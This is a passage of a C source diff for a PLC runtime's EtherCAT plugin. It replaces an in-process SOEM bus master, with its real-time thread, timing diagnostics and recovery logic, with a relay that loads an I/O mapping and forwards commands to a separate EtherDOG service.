sizeof(g_session_file), "%s", override); - int rc = ecat_master_write_sdos(inst, slave->position, slave->sdo_configs, - slave->sdo_count, - slave->timeouts.sdo_timeout_ms, &g_logger); - if (rc != 0 && slave->strict_sdo) { - plugin_logger_error(&g_logger, - "Master '%s': Slave %d (%s): SDO config failed and strict_sdo=true -- aborting startup", - inst->name, slave->position, slave->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); - return -1; - } - } + edl_init(&g_link); - /* Map process data and configure DC */ - if (ecat_master_configure(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Process data mapping failed", inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); - return -1; + /* Initialized even when disabled (for command forwarding): no mapping file is not an error. */ + const char *path = g_args.plugin_specific_config_file_path; + if (access(path, R_OK) != 0) { + plugin_logger_debug(&g_logger, "no I/O mapping at %s", path); + return 0; } - /* Build channel map for process data exchange. Partial maps are - * rejected -- the operator must fix the JSON before the master can - * enter OPERATIONAL with stale variable bindings. */ - if (ecat_io_build_channel_map(&inst->config, &inst->channel_map, - inst, &g_runtime_args, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': channel map build failed -- aborting startup", - inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + char err[512]; + if (ecat_iomap_load(path, &g_map, err, sizeof(err)) != 0) { + plugin_logger_error(&g_logger, "%s", err); return -1; } + g_have_map = true; + int total = 0; + for (int i = 0; i < g_map.master_count; i++) + total += g_map.masters[i].entry_count; + plugin_logger_info(&g_logger, "I/O mapping loaded: %d master(s), %d entries", g_map.master_count, + total); + return 0; +} - /* Build pre-resolved transfer list for fast per-cycle I/O */ - if (ecat_io_build_transfer_list(&inst->channel_map, &inst->transfer_list, - &g_runtime_args, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': transfer list build failed -- aborting startup", - inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); +int start_loop(void) +{ + if (g_relay_started) + return 0; + if (!g_have_map) { + plugin_logger_error(&g_logger, "no I/O mapping loaded (ethercat_iomapping.json)"); return -1; } - - /* Cache expected WKC */ - inst->expected_wkc = ecat_master_get_expected_wkc(inst); - plugin_logger_info(&g_logger, "Master '%s': Expected WKC: %d", - inst->name, inst->expected_wkc); - - inst->receive_timeout_us = inst->config.master.receive_timeout_us; - if (inst->receive_timeout_us < ECAT_MIN_RECEIVE_TIMEOUT_US) - inst->receive_timeout_us = ECAT_MIN_RECEIVE_TIMEOUT_US; - plugin_logger_info(&g_logger, - "Master '%s': Receive timeout: %d us (cycle_time=%d us)", - inst->name, inst->receive_timeout_us, inst->config.master.cycle_time_us); - - /* --- Phase 3: TRANSITIONING --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_TRANSITIONING); - plugin_logger_info(&g_logger, - "Master '%s': [state: TRANSITIONING] Moving slaves to OPERATIONAL...", - inst->name); - - if (ecat_master_transition_to_op(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Failed to reach OPERATIONAL state", inst->name); - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + if (!g_args.image_lock || !g_args.image_unlock || !g_args.journal_write_bool || + !g_args.journal_write_byte || !g_args.journal_write_int || !g_args.journal_write_dint || + !g_args.journal_write_lint) { + plugin_logger_error(&g_logger, "runtime did not provide the image/journal entry points"); return -1; } - /* --- Phase 4: OPERATIONAL --- */ - atomic_store(&inst->consecutive_wkc_errors, 0); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - inst->cycle_counter = 0; - diag_reset(&inst->diag); - - /* Time-based EWMA window in samples — chosen so the wall-clock - * smoothing window matches ECAT_AVG_TARGET_WINDOW_NS regardless of - * the configured cycle rate. Same scheme as scan_cycle_tracker. */ - { - int64_t cycle_ns = (int64_t)inst->config.master.cycle_time_us * 1000LL; - inst->avg_window = (cycle_ns > 0) - ? (ECAT_AVG_TARGET_WINDOW_NS / cycle_ns) - : 1; - if (inst->avg_window < 1) inst->avg_window = 1; - } - - atomic_store(&inst->plugin_state, ECAT_STATE_OPERATIONAL); - - /* Send one initial exchange to populate the IOmap with slave data */ - ecat_master_exchange_processdata(inst, inst->receive_timeout_us); - - /* Initial publish before the monitor thread starts. No concurrency - * yet: PLC has not entered cycle_start_single and the monitor does - * not exist. */ - publish_slaves_snapshot(inst); - -#if ECAT_ENABLE_MONITOR_THREAD - /* Start background monitor thread for state checks and recovery. - * soem_lock is initialized in init() once per instance. */ - atomic_store(&inst->exchange_skips, 0); - atomic_store(&inst->monitor_running, true); - - if (pthread_create(&inst->monitor_thread, NULL, ecat_monitor_thread, inst) != 0) { - plugin_logger_warn(&g_logger, - "Master '%s': Failed to create monitor thread - " - "running without state monitoring", inst->name); - atomic_store(&inst->monitor_running, false); - } -#endif - - /* Per-iface external state (NIC tuning + IP isolation) is applied - * inside ecat_master_open_and_scan() and reverted inside - * ecat_master_close(). */ - - /* Spawn the dedicated bus thread. SCHED_FIFO + absolute clock_nanosleep - * driving the SOEM exchange at master.cycle_time_us. */ - atomic_store(&inst->bus_running, true); - if (pthread_create(&inst->bus_thread, NULL, ecat_bus_thread, inst) != 0) { - plugin_logger_error(&g_logger, - "Master '%s': Failed to create bus thread: %s", - inst->name, strerror(errno)); - atomic_store(&inst->bus_running, false); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + /* The relay brings the link up and retries until EtherDOG is ready */ + atomic_store(&g_running, true); + int rc = pthread_create(&g_relay, NULL, relay_thread, NULL); + if (rc != 0) { + plugin_logger_error(&g_logger, "cannot create relay thread: %s", strerror(rc)); + atomic_store(&g_running, false); return -1; } - - plugin_logger_info(&g_logger, - "Master '%s': [state: OPERATIONAL] EtherCAT master started " - "(dedicated bus thread, cycle=%d us, monitor=%s)", - inst->name, inst->config.master.cycle_time_us, - ECAT_ENABLE_MONITOR_THREAD ? "enabled" : "disabled"); - + g_relay_started = true; + plugin_logger_info(&g_logger, "EtherCAT relay running"); return 0; } -/** - * @brief Stop a single master instance - * - * Stops the monitor thread, logs final diagnostics, and closes the master. - * - * @param inst Per-master instance - */ -static void stop_single_master(ecat_master_instance_t *inst) +void stop_loop(void) { - int state = atomic_load(&inst->plugin_state); - if (state == ECAT_STATE_STOPPED || state == ECAT_STATE_IDLE) { - plugin_logger_debug(&g_logger, - "Master '%s': already stopped/idle", inst->name); + if (!g_relay_started) return; - } - - plugin_logger_info(&g_logger, - "Master '%s': Stopping (current state: %s)...", - inst->name, ecat_state_to_string(state)); - - /* Stop the bus thread first so no further SOEM exchange races with - * teardown. Signal via the running flag, then SIGUSR1 to wake any - * in-flight clock_nanosleep, then join. */ - if (atomic_load(&inst->bus_running)) { - atomic_store(&inst->bus_running, false); - pthread_kill(inst->bus_thread, SIGUSR1); - pthread_join(inst->bus_thread, NULL); - plugin_logger_debug(&g_logger, - "Master '%s': Bus thread joined", inst->name); - } - -#if ECAT_ENABLE_MONITOR_THREAD - /* Stop the monitor thread before closing the master */ - if (atomic_load(&inst->monitor_running)) { - atomic_store(&inst->monitor_running, false); - pthread_join(inst->monitor_thread, NULL); - plugin_logger_debug(&g_logger, - "Master '%s': Monitor thread joined", inst->name); - } -#endif - - /* Log final diagnostics via relaxed atomic loads. PLC may still be - * running (it stops at the next state check); cross-field tearing is - * harmless here. */ - uint64_t final_cycle_count = - atomic_load_explicit(&inst->diag.cycle_count, memory_order_relaxed); - uint64_t final_wkc_errors = - atomic_load_explicit(&inst->diag.wkc_error_count, memory_order_relaxed); - int64_t final_sum = - atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, memory_order_relaxed); - uint64_t final_min = - atomic_load_explicit(&inst->diag.min_bus_cycle_ns, memory_order_relaxed); - uint64_t final_max = - atomic_load_explicit(&inst->diag.max_bus_cycle_ns, memory_order_relaxed); - - if (final_cycle_count > 0 || final_wkc_errors > 0) { - uint64_t total_cycles = final_cycle_count + final_wkc_errors; - int64_t final_avg_ns = (inst->avg_window > 0) - ? final_sum / inst->avg_window - : 0; - /* min sentinel UINT64_MAX -> "n/a" */ - unsigned long long min_us = (final_min == UINT64_MAX) ? 0 - : (unsigned long long)(final_min / 1000); - plugin_logger_info(&g_logger, - "Master '%s': Final cycle stats: %llu total (%llu ok, %llu errors), " - "avg=%lld us, min=%llu us, max=%llu us", - inst->name, - (unsigned long long)total_cycles, - (unsigned long long)final_cycle_count, - (unsigned long long)final_wkc_errors, - (long long)(final_avg_ns / 1000), - min_us, - (unsigned long long)(final_max / 1000)); - } - - /* IP-stack isolation revert happens inside ecat_master_close(). */ - - memset(&inst->channel_map, 0, sizeof(inst->channel_map)); - memset(&inst->transfer_list, 0, sizeof(inst->transfer_list)); - atomic_store(&inst->consecutive_wkc_errors, 0); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - inst->expected_wkc = 0; - - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_STOPPED); - - /* Reset slaves snapshot: the bus is closed, AL states from the prior - * run are no longer meaningful. Monitor is already joined. */ - pthread_mutex_lock(&inst->slaves_mutex); - memset(inst->slaves_snapshot, 0, sizeof(inst->slaves_snapshot)); - inst->slaves_snapshot_count = 0; - pthread_mutex_unlock(&inst->slaves_mutex); + atomic_store(&g_running, false); + pthread_join(g_relay, NULL); + g_relay_started = false; - plugin_logger_info(&g_logger, - "Master '%s': [state: STOPPED] EtherCAT master stopped", inst->name); -} - -/** - * @brief Perform one EtherCAT cycle for a single master instance - * - * Called by the dedicated bus thread on every cycle. Splits the I/O - * window into two short mutex windows separated by the actual SOEM - * exchange (which is the slow part — tens to hundreds of microseconds - * for typical networks): - * - * 1. image_lock (drain journal) → copy PLC outputs into IOmap → unlock - * 2. SOEM exchange (no mutex held — IEC tasks can run during it) - * 3. publish IOmap inputs into the %I image via the lock-free journal - * 4. Update WKC + diagnostics - * - * Diag timing distinguishes two metrics: - * - `exchange_ns`: just the SOEM round-trip (wire / NIC time) - * - `total_ns`: full work window — both mutex acquisitions, both - * memcpys, AND the exchange. The difference between - * the two surfaces buffer-mutex contention with the - * IEC tasks, which is the diagnostic users want. - * - * The IOmap is owned by the plugin (this thread + monitor thread via - * `request_soem_access`) so it never crosses the PLC mutex. - * - * Returns true on a successful exchange, false on a skip (e.g. the - * monitor thread holds exclusive SOEM access right now). - */ -static bool ecat_run_one_cycle(ecat_master_instance_t *inst) -{ - int state = atomic_load(&inst->plugin_state); - /* RECOVERING is allowed: opportunistic exchange in the gaps between - * monitor recovery attempts. exchange_skips counts trylock misses. */ - if (state != ECAT_STATE_OPERATIONAL && state != ECAT_STATE_RECOVERING) - return false; - - uint8_t *iomap = ecat_master_get_iomap(inst); - if (!iomap) - return false; - -#if ECAT_ENABLE_MONITOR_THREAD - /* If the monitor thread is holding soem_lock (state check or recovery), - * yield this cycle. The bus keeps running with stale I/O data for one - * cycle. Trylock is non-blocking; in contention it costs only a futex - * read and returns immediately. */ - if (pthread_mutex_trylock(&inst->soem_lock) != 0) { - atomic_fetch_add_explicit(&inst->exchange_skips, 1, memory_order_relaxed); - return false; - } -#endif - - ec_timet t_exch_start, t_exch_end; - - /* 1. Lock briefly, snapshot outputs from PLC buffers into the IOmap. - * image_lock() drains the journal so we read freshly committed %Q. - * This is a pure memcpy — microseconds — so we don't hold the - * image-tables mutex across the SOEM exchange. */ - if (g_runtime_args.image_lock && g_runtime_args.image_unlock) { - g_runtime_args.image_lock(); - ecat_io_write_outputs_fast(&inst->transfer_list, iomap); - g_runtime_args.image_unlock(); - } else { - ecat_io_write_outputs_fast(&inst->transfer_list, iomap); - } - - /* 2. Exchange process data with slaves (synchronous, NO mutex held). - * IEC scan tasks can read/write IO during this window. */ - osal_get_monotonic_time(&t_exch_start); - int wkc = ecat_master_exchange_processdata(inst, inst->receive_timeout_us); - osal_get_monotonic_time(&t_exch_end); - - uint64_t exchange_ns = elapsed_ns(&t_exch_start, &t_exch_end); - - /* 3. Publish received inputs into the %I image through the journal. - * Journal writes are lock-free and thread-safe, so no buffer mutex is - * held here; the entries apply atomically at the next scan boundary, - * race-free against the IEC task threads. */ - ecat_io_read_inputs_fast(&inst->transfer_list, iomap, &g_runtime_args); - -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_unlock(&inst->soem_lock); -#endif - - inst->cycle_counter++; - - bool wkc_error = (wkc < inst->expected_wkc); - bool noframe = (wkc == EC_NOFRAME); - - /* Update diag lock-free. Single-writer (PLC) + relaxed atomics; readers - * tolerate cross-field tearing because diagnostics never do cross-field - * arithmetic. bus_cycle_ns measures the bus exchange (send+receive); the - * memcpy work in read/write_inputs_fast is dwarfed by it and intentionally - * not measured. */ - atomic_store_explicit(&inst->diag.bus_cycle_ns, exchange_ns, memory_order_relaxed); - - if (wkc_error) { - atomic_fetch_add_explicit(&inst->diag.wkc_error_count, 1, - memory_order_relaxed); - if (noframe) - atomic_fetch_add_explicit(&inst->diag.noframe_count, 1, - memory_order_relaxed); - } - - atomic_fetch_add_explicit(&inst->diag.cycle_count, 1, memory_order_relaxed); - - /* Time-based EWMA: store an approximate sum of the last N samples, - * update with `sum += sample - sum/N`, recover avg as `sum/N` on - * read. N = inst->avg_window, fixed for the master's lifetime so - * the wall-clock smoothing window stays constant regardless of - * cycle rate. Sum form avoids the integer-precision stall that - * `avg += (sample - avg)/N` hits when delta < N. */ - int64_t cur_sum = atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, - memory_order_relaxed); - cur_sum += (int64_t)exchange_ns - cur_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_bus_cycle_ns_sum, cur_sum, - memory_order_relaxed); - - /* Min/max: single-writer, no CAS needed. */ - uint64_t cur = atomic_load_explicit(&inst->diag.max_bus_cycle_ns, - memory_order_relaxed); - if (exchange_ns > cur) - atomic_store_explicit(&inst->diag.max_bus_cycle_ns, exchange_ns, - memory_order_relaxed); - - cur = atomic_load_explicit(&inst->diag.min_bus_cycle_ns, - memory_order_relaxed); - if (exchange_ns < cur) - atomic_store_explicit(&inst->diag.min_bus_cycle_ns, exchange_ns, - memory_order_relaxed); - - /* WKC error tracking. No plugin_logger_* calls here -- the runtime - * logger does a synchronous mutex+socket write that would inject - * jitter in the hot path. The monitor thread observes these counters - * and emits the user-facing log messages. */ - if (wkc_error) { - int consec = atomic_fetch_add_explicit(&inst->consecutive_wkc_errors, 1, - memory_order_relaxed) + 1; -#if ECAT_ENABLE_MONITOR_THREAD - if (state == ECAT_STATE_OPERATIONAL && - consec >= ECAT_WKC_ERROR_THRESHOLD) { - atomic_store(&inst->plugin_state, ECAT_STATE_RECOVERING); - } -#else - (void)consec; -#endif - } else { - atomic_store(&inst->consecutive_wkc_errors, 0); + /* The relay's link may be down; stop the bus over a fresh connection if so. */ + if (!g_linked) { + edl_session_t session; + char err[256]; + if (edl_read_session(g_session_file, &session, err, sizeof(err)) == 0 && + edl_connect(&g_link, &session, err, sizeof(err)) == 0) + g_linked = true; } - return true; + link_down(true); + plugin_logger_info(&g_logger, "EtherCAT relay stopped"); } -/* SIGUSR1 wakes the bus thread out of clock_nanosleep so a stop request - * lands within microseconds instead of after a full sleep period. The - * handler is installed once at process init (plc_main.c handle_sigusr1) - * — DON'T re-install here, sigaction is process-wide and last-writer- - * wins between bus threads / task threads / future signal users. */ - -static inline uint64_t ts_to_ns(const struct timespec *ts) +void cleanup(void) { - return (uint64_t)ts->tv_sec * 1000000000ULL + (uint64_t)ts->tv_nsec; + stop_loop(); } /** - * @brief Bus thread body — periodic SOEM exchange driver - * - * Runs at SCHED_FIFO with the configured task_priority. Sleeps absolutely - * (CLOCK_MONOTONIC + TIMER_ABSTIME) to the next deadline so jitter stays - * bounded. Each tick: - * - clock_nanosleep TIMER_ABSTIME → wake at the absolute deadline - * - capture wake-up timing: latency vs deadline, period vs prev wake - * - run the cycle (mutex+exchange+mutex) - * - advance the deadline - * - * Two scheduling metrics surface the answers to "are we hitting our - * configured cycle time, and how late are we waking up?": - * - period_ns: actual_wake[N] - actual_wake[N-1]; should equal - * interval_ns on average on a healthy RT system. - * - latency_ns: actual_wake[N] - expected_wake[N]; how much later - * than its deadline the bus thread actually started running. - * - * Updates use the same lock-free atomic + time-based EWMA scheme as - * bus_cycle_ns (see ECAT_AVG_TARGET_WINDOW_NS). Single-writer (this - * thread); JSON readers pull the values lock-free. + * Forward a command (scan, test, status, diagnostics, list-interfaces) to EtherDOG over its + * own short connection, so callers that still route EtherCAT commands through plc_main work. */ -static void *ecat_bus_thread(void *arg) +int execute_command(const char *command_json, char *response, size_t response_size) { - ecat_master_instance_t *inst = (ecat_master_instance_t *)arg; - - /* Set thread name for top/htop debugging. */ - char tname[16]; - snprintf(tname, sizeof tname, "ecat-%s", inst->name); - pthread_setname_np(pthread_self(), tname); - - /* Apply SCHED_FIFO at the configured priority. Fall back to the - * default scheduler with a warning rather than refusing to run. */ - int prio = inst->config.master.task_priority; - if (prio < 1) prio = 1; - if (prio > 99) prio = 99; - struct sched_param sp = {0}; - sp.sched_priority = prio; - if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) { - plugin_logger_warn(&g_logger, - "Bus thread '%s': SCHED_FIFO(%d) failed: %s — running with default scheduling", - inst->name, prio, strerror(errno)); - } else { - plugin_logger_info(&g_logger, - "Bus thread '%s': SCHED_FIFO priority %d", inst->name, prio); + edl_session_t session; + edl_link_t link; + char err[512]; + edl_init(&link); + if (edl_read_session(g_session_file, &session, err, sizeof(err)) != 0 || + edl_connect(&link, &session, err, sizeof(err)) != 0) { + cJSON *resp = cJSON_CreateObject(); + cJSON_AddStringToObject(resp, "error", err); + char *text = cJSON_PrintUnformatted(resp); + snprintf(response, response_size, "%s", text ? text : "{\"error\":\"EtherDOG unavailable\"}"); + free(text); + cJSON_Delete(resp); + return -1; } - - /* SIGUSR1 handler is process-wide; installed once at plc_main.c. - * No per-thread sigaction here. SIGUSR1 stays unblocked for this - * thread by default (pthread_create inherits the parent's mask, and - * the process-wide mask doesn't include SIGUSR1). */ - - int64_t interval_ns = - (int64_t)inst->config.master.cycle_time_us * 1000LL; - if (interval_ns <= 0) interval_ns = 1000000LL; /* 1 ms safety floor */ - - /* Seed scheduling-stat min trackers. */ - atomic_store_explicit(&inst->diag.min_period_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&inst->diag.min_latency_ns, INT64_MAX, memory_order_relaxed); - - struct timespec next_wakeup; - clock_gettime(CLOCK_MONOTONIC, &next_wakeup); - - bool have_prev_wake = false; - uint64_t prev_wake_ns = 0; - - while (atomic_load(&inst->bus_running)) { - /* Capture actual wake-up time. The first iteration's deadline - * is "now" so latency should be ~0; meaningful from iteration 2. */ - struct timespec actual_wake; - clock_gettime(CLOCK_MONOTONIC, &actual_wake); - uint64_t actual_wake_ns = ts_to_ns(&actual_wake); - uint64_t expected_ns = ts_to_ns(&next_wakeup); - - /* Latency = how much later than the deadline we woke up. Can - * theoretically be slightly negative if clock skew or coarse - * timer granularity puts us a fraction ahead. Subtract in the - * signed domain so an early wake yields a small negative value - * rather than relying on impl-defined unsigned→signed conversion. */ - int64_t latency_ns = (int64_t)actual_wake_ns - (int64_t)expected_ns; - atomic_store_explicit(&inst->diag.latency_ns, latency_ns, memory_order_relaxed); - - int64_t cur_lat_min = atomic_load_explicit(&inst->diag.min_latency_ns, - memory_order_relaxed); - if (latency_ns < cur_lat_min) - atomic_store_explicit(&inst->diag.min_latency_ns, latency_ns, - memory_order_relaxed); - int64_t cur_lat_max = atomic_load_explicit(&inst->diag.max_latency_ns, - memory_order_relaxed); - if (latency_ns > cur_lat_max) - atomic_store_explicit(&inst->diag.max_latency_ns, latency_ns, - memory_order_relaxed); - - /* Time-based EWMA — same scheme as avg_bus_cycle_ns_sum. */ - int64_t cur_lat_sum = atomic_load_explicit(&inst->diag.avg_latency_ns_sum, - memory_order_relaxed); - cur_lat_sum += latency_ns - cur_lat_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_latency_ns_sum, cur_lat_sum, - memory_order_relaxed); - - if (have_prev_wake) { - uint64_t period_ns = actual_wake_ns - prev_wake_ns; - atomic_store_explicit(&inst->diag.period_ns, period_ns, - memory_order_relaxed); - - uint64_t cur_per_min = atomic_load_explicit(&inst->diag.min_period_ns, - memory_order_relaxed); - if (period_ns < cur_per_min) - atomic_store_explicit(&inst->diag.min_period_ns, period_ns, - memory_order_relaxed); - uint64_t cur_per_max = atomic_load_explicit(&inst->diag.max_period_ns, - memory_order_relaxed); - if (period_ns > cur_per_max) - atomic_store_explicit(&inst->diag.max_period_ns, period_ns, - memory_order_relaxed); - - int64_t cur_per_sum = atomic_load_explicit(&inst->diag.avg_period_ns_sum, - memory_order_relaxed); - cur_per_sum += (int64_t)period_ns - cur_per_sum / inst->avg_window; - atomic_store_explicit(&inst->diag.avg_period_ns_sum, cur_per_sum, - memory_order_relaxed); - } - prev_wake_ns = actual_wake_ns; - have_prev_wake = true; - - /* Bus exchange + diag updates happen inside ecat_run_one_cycle. */ - ecat_run_one_cycle(inst); - - next_wakeup.tv_nsec += (long)(interval_ns % 1000000000LL); - next_wakeup.tv_sec += (time_t)(interval_ns / 1000000000LL); - if (next_wakeup.tv_nsec >= 1000000000L) { - next_wakeup.tv_nsec -= 1000000000L; - next_wakeup.tv_sec += 1; - } - int rc = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &next_wakeup, NULL); - if (rc == EINTR) continue; /* SIGUSR1 wake — loop will re-check bus_running */ + char *reply = NULL; + int rc = edl_call(&link, command_json, &reply, 30000); + edl_close(&link); + if (rc != 0) { + snprintf(response, response_size, "{\"error\":\"no reply from EtherDOG\"}"); + return -1; } - - plugin_logger_info(&g_logger, - "Bus thread '%s': stopped after %llu cycles", - inst->name, - (unsigned long long)atomic_load_explicit(&inst->diag.cycle_count, - memory_order_relaxed)); - return NULL; -} - -/* - * ============================================================================= - * Plugin Lifecycle Functions - * ============================================================================= - */ - -/** - * @brief Initialize the EtherCAT plugin - */ -int init(void *args) -{ - /* Initialize logger first (before we have runtime_args) */ - plugin_logger_init(&g_logger, "ETHERCAT", NULL); - plugin_logger_info(&g_logger, "Initializing EtherCAT plugin..."); - - if (!args) { - plugin_logger_error(&g_logger, "init args is NULL"); - return -1; - } - - /* Copy runtime args (critical - pointer is freed after init returns) */ - memcpy(&g_runtime_args, args, sizeof(plugin_runtime_args_t)); - - /* Re-initialize logger with runtime_args for central logging */ - plugin_logger_init(&g_logger, "ETHERCAT", args); - - /* Share the logger with the config parser so its diagnostic messages - * land in the runtime journal instead of stderr. */ - ecat_config_set_logger(&g_logger); - - plugin_logger_info(&g_logger, "Buffer size: %d", g_runtime_args.buffer_size); - - /* Parse ALL master configurations from the JSON file */ - const char *config_path = g_runtime_args.plugin_specific_config_file_path; - - /* Allocate temporary array for parsing (up to ECAT_MAX_MASTERS) */ - ecat_master_instance_t *temp = calloc(ECAT_MAX_MASTERS, sizeof(ecat_master_instance_t)); - if (!temp) { - plugin_logger_error(&g_logger, "Failed to allocate master instances"); - return -1; - } - - int count = 0; - if (config_path != NULL && config_path[0] != '\0') { - plugin_logger_info(&g_logger, "Loading config: %s", config_path); - int result = ecat_config_parse_all(config_path, temp, ECAT_MAX_MASTERS, &count); - if (result != ECAT_CONFIG_OK || count == 0) { - plugin_logger_warn(&g_logger, - "No valid EtherCAT configs found (result=%d, count=%d), using defaults", - result, count); - ecat_config_init_defaults(&temp[0].config); - safe_strcpy_local(temp[0].name, "default", sizeof(temp[0].name)); - count = 1; - } else { - plugin_logger_info(&g_logger, - "Configuration loaded: %d master(s) found", count); - } - } else { - plugin_logger_warn(&g_logger, "No config file specified, using defaults"); - ecat_config_init_defaults(&temp[0].config); - safe_strcpy_local(temp[0].name, "default", sizeof(temp[0].name)); - count = 1; - } - - /* Store the master instances */ - g_masters = temp; - g_master_count = count; - - /* Initialize per-master runtime state */ - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - - memset(inst->slaves_snapshot, 0, sizeof(inst->slaves_snapshot)); - inst->slaves_snapshot_count = 0; - diag_reset(&inst->diag); - if (ecat_mutex_init_pi(&inst->slaves_mutex) != 0) { - plugin_logger_error(&g_logger, - "Master[%d] '%s': Failed to initialize slaves mutex", i, inst->name); - /* Destroy mutexes that were already initialized */ - for (int j = 0; j < i; j++) { - pthread_mutex_destroy(&g_masters[j].slaves_mutex); -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_destroy(&g_masters[j].soem_lock); -#endif - } - free(g_masters); - g_masters = NULL; - g_master_count = 0; - return -1; - } -#if ECAT_ENABLE_MONITOR_THREAD - if (ecat_mutex_init_pi(&inst->soem_lock) != 0) { - plugin_logger_error(&g_logger, - "Master[%d] '%s': Failed to initialize SOEM lock", i, inst->name); - pthread_mutex_destroy(&inst->slaves_mutex); - for (int j = 0; j < i; j++) { - pthread_mutex_destroy(&g_masters[j].slaves_mutex); - pthread_mutex_destroy(&g_masters[j].soem_lock); - } - free(g_masters); - g_masters = NULL; - g_master_count = 0; - return -1; - } -#endif - - /* Bus timing is now driven by the dedicated bus thread spawned - * in start_single_master, ticking absolutely at - * master.cycle_time_us under SCHED_FIFO. The legacy - * tick_divisor / IEC-task-anchored model is gone. */ - - atomic_store(&inst->plugin_state, ECAT_STATE_IDLE); - - plugin_logger_info(&g_logger, - "Master[%d] '%s': interface=%s, cycle_time=%d us, slaves=%d", - i, inst->name, inst->config.master.interface, - inst->config.master.cycle_time_us, inst->config.slave_count); - } - - plugin_logger_info(&g_logger, - "EtherCAT plugin initialized [%d master(s), state: IDLE]", g_master_count); - - return 0; -} - -/* - * ============================================================================= - * IEC Address Overlap Detection (multi-master) - * ============================================================================= - */ - -/** - * @brief Compute the byte range [start, end) occupied by a channel map entry - */ -static void entry_byte_range(const ecat_channel_map_entry_t *e, - int *start, int *end) -{ - *start = e->byte_index; - switch (e->size) { - case IEC_SIZE_BIT: *end = e->byte_index + 1; break; - case IEC_SIZE_BYTE: *end = e->byte_index + 1; break; - case IEC_SIZE_WORD: *end = e->byte_index + 2; break; - case IEC_SIZE_DWORD: *end = e->byte_index + 4; break; - case IEC_SIZE_LWORD: *end = e->byte_index + 8; break; - default: *end = e->byte_index + 1; break; - } -} - -/** - * @brief Check if two channel map entries overlap in the PLC buffer - * - * For bit-sized entries at the same byte, also checks bit_index equality. - */ -static bool entries_overlap(const ecat_channel_map_entry_t *a, - const ecat_channel_map_entry_t *b) -{ - int a_start, a_end, b_start, b_end; - entry_byte_range(a, &a_start, &a_end); - entry_byte_range(b, &b_start, &b_end); - - if (a_end <= b_start || b_end <= a_start) - return false; - - if (a->size == IEC_SIZE_BIT && b->size == IEC_SIZE_BIT - && a->byte_index == b->byte_index) { - return a->bit_index == b->bit_index; - } - - return true; -} - -/** - * @brief Log warnings for IEC addresses mapped by more than one master - * - * Called after all masters have built their channel maps. Checks both - * input and output directions. Purely informational -- does not abort. - */ -static void warn_address_overlap(void) -{ - if (g_master_count < 2) - return; - - int conflicts = 0; - - for (int i = 0; i < g_master_count; i++) { - for (int j = i + 1; j < g_master_count; j++) { - /* Check inputs */ - for (int ai = 0; ai < g_masters[i].channel_map.input_count; ai++) { - for (int bj = 0; bj < g_masters[j].channel_map.input_count; bj++) { - if (entries_overlap(&g_masters[i].channel_map.inputs[ai], - &g_masters[j].channel_map.inputs[bj])) { - const ecat_channel_map_entry_t *a = - &g_masters[i].channel_map.inputs[ai]; - plugin_logger_warn(&g_logger, - "IEC address overlap: %%I*%d.%d mapped by both " - "master '%s' and master '%s'", - a->byte_index, - a->bit_index >= 0 ? a->bit_index : 0, - g_masters[i].name, g_masters[j].name); - conflicts++; - } - } - } - /* Check outputs */ - for (int ai = 0; ai < g_masters[i].channel_map.output_count; ai++) { - for (int bj = 0; bj < g_masters[j].channel_map.output_count; bj++) { - if (entries_overlap(&g_masters[i].channel_map.outputs[ai], - &g_masters[j].channel_map.outputs[bj])) { - const ecat_channel_map_entry_t *a = - &g_masters[i].channel_map.outputs[ai]; - plugin_logger_warn(&g_logger, - "IEC address overlap: %%Q*%d.%d mapped by both " - "master '%s' and master '%s'", - a->byte_index, - a->bit_index >= 0 ? a->bit_index : 0, - g_masters[i].name, g_masters[j].name); - conflicts++; - } - } - } - } - } - - if (conflicts > 0) { - plugin_logger_warn(&g_logger, - "%d IEC address overlap(s) detected between masters. " - "The last master in cycle order will overwrite shared addresses.", - conflicts); - } -} - -/** - * @brief Start all EtherCAT masters - * - * Iterates each configured master instance and runs through the startup - * sequence. Returns success if at least one master reaches OPERATIONAL. - */ -int start_loop(void) -{ - int any_started = 0; - - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - - int state = atomic_load(&inst->plugin_state); - if (state != ECAT_STATE_IDLE && state != ECAT_STATE_STOPPED) { - plugin_logger_error(&g_logger, - "Master '%s': Cannot start - invalid state: %s", - inst->name, ecat_state_to_string(state)); - continue; - } - - if (start_single_master(inst) == 0) { - any_started++; - } - } - - if (any_started == 0) { - plugin_logger_error(&g_logger, - "No EtherCAT masters started successfully"); - return -1; - } - - warn_address_overlap(); - - plugin_logger_info(&g_logger, "%d/%d EtherCAT master(s) started", - any_started, g_master_count); - return 0; -} - -/** - * @brief Stop all EtherCAT masters - */ -void stop_loop(void) -{ - plugin_logger_info(&g_logger, "Stopping all EtherCAT masters..."); - - for (int i = 0; i < g_master_count; i++) { - 